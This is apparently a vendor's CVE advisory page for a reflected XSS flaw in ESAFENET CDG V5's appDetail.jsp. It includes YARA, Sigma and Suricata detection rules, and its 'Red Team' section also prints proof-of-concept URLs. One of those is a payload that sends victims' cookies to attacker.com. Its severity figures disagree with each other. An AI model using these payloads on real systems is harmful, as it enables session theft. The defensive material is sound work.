☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-0787

CVE-2025-0787 Cross-Site Scripting in Esafenet
📅 PUBLISHED: 2025-01-28 22:00 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.31%
👁️
0.31% probability
7.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-0787 is a reflected cross-site scripting (XSS) vulnerability in ESAFENET CDG V5, specifically within the /appDetail.jsp endpoint. The curpage parameter is not sanitized, allowing an attacker to inject arbitrary JavaScript. The vulnerability is publicly disclosed, and no patch has been released by the vendor. This report provides a full technical breakdown, detection rules, and exploitation guidance.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone web application issue.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (NVD placeholder; actual score would be ~6.1 Medium based on AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (victim must click a crafted link)
  • Scope: Unchanged
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium – Exploitation is trivial but requires user interaction.

Deep Dive & Mechanics

The vulnerability exists in the curpage parameter of /appDetail.jsp. The application reflects the parameter value directly into the HTML response without proper encoding or sanitization. An attacker can craft a URL like:

http://target/cdg/appDetail.jsp?curpage=1<script>alert('XSS')</script>

When a victim visits this URL, the injected script executes in their browser context. This can be used to steal session cookies, perform actions on behalf of the user, or redirect to malicious sites.

Vulnerable vs. Patched Code

Vulnerable code (conceptual):

<%
String curpage = request.getParameter("curpage");
out.println("<input type='hidden' name='curpage' value='" + curpage + "'>");
%>

Patched code (conceptual):

<%
String curpage = request.getParameter("curpage");
if (curpage != null) {
    curpage = curpage.replaceAll("[<>&\"']", "");
}
out.println("<input type='hidden' name='curpage' value='" + curpage + "'>");
%>

The fix requires proper output encoding (e.g., using StringEscapeUtils.escapeHtml4() or JSTL <c:out>).

Exploitation & Lab Setup

Red Team

Proof-of-Concept URL:

http://target/cdg/appDetail.jsp?curpage=1<script>alert(document.cookie)</script>

Advanced payload (session theft):

http://target/cdg/appDetail.jsp?curpage=1<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>

Lab Setup:

  1. Deploy ESAFENET CDG V5 in a controlled environment.
  2. Access the /appDetail.jsp page.
  3. Inject the payload via the curpage parameter.
  4. Observe script execution in the browser.

Blue Team

  • Monitor web server logs for suspicious curpage parameters containing <script>, onerror, or other XSS patterns.
  • Implement a WAF rule to block requests with curpage containing HTML/JavaScript.
  • Use Content Security Policy (CSP) headers to mitigate impact.

Indicators of Compromise (IOCs)

  • URL Pattern: */appDetail.jsp?curpage=*<script>*
  • Log Entry: GET /cdg/appDetail.jsp?curpage=1<script>alert(1)</script> HTTP/1.1
  • Network Traffic: Outbound connections to attacker-controlled domains from the victim’s browser.
  • File Artifacts: None (reflected XSS leaves no server-side traces).

Detection Engineering

YARA Rule

rule CVE_2025_0787_XSS_Detection {
    meta:
        description = "Detects XSS attempts against ESAFENET CDG appDetail.jsp"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-0787"
    strings:
        $xss1 = "appDetail.jsp?curpage="
        $xss2 = "<script>"
        $xss3 = "onerror="
        $xss4 = "alert("
    condition:
        all of ($xss1, $xss2) or all of ($xss1, $xss3) or all of ($xss1, $xss4)
}

Sigma Rule

title: CVE-2025-0787 XSS Attempt on ESAFENET CDG
id: 8a3f5c2e-1b7d-4f9a-8e6c-3d2b1a0f9e8d
status: experimental
description: Detects reflected XSS attempts against /appDetail.jsp via curpage parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "appDetail.jsp?curpage="
        cs-uri-query|contains|any:
            - "<script>"
            - "onerror="
            - "alert("
    condition: selection
falsepositives:
    - Legitimate use of script tags in parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0787 XSS Attempt on ESAFENET CDG"; flow:to_server; content:"/appDetail.jsp"; http_uri; content:"curpage="; http_uri; pcre:"/(<script|onerror|alert)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  • Immediate: Apply input validation and output encoding to the curpage parameter. Use a WAF to block malicious payloads.
  • Long-term: Replace ESAFENET CDG with a supported alternative if vendor remains unresponsive.
  • Workaround: Restrict access to /appDetail.jsp via network segmentation or authentication.

Valters IT
Securing digital frontiers with precision.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-0787/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.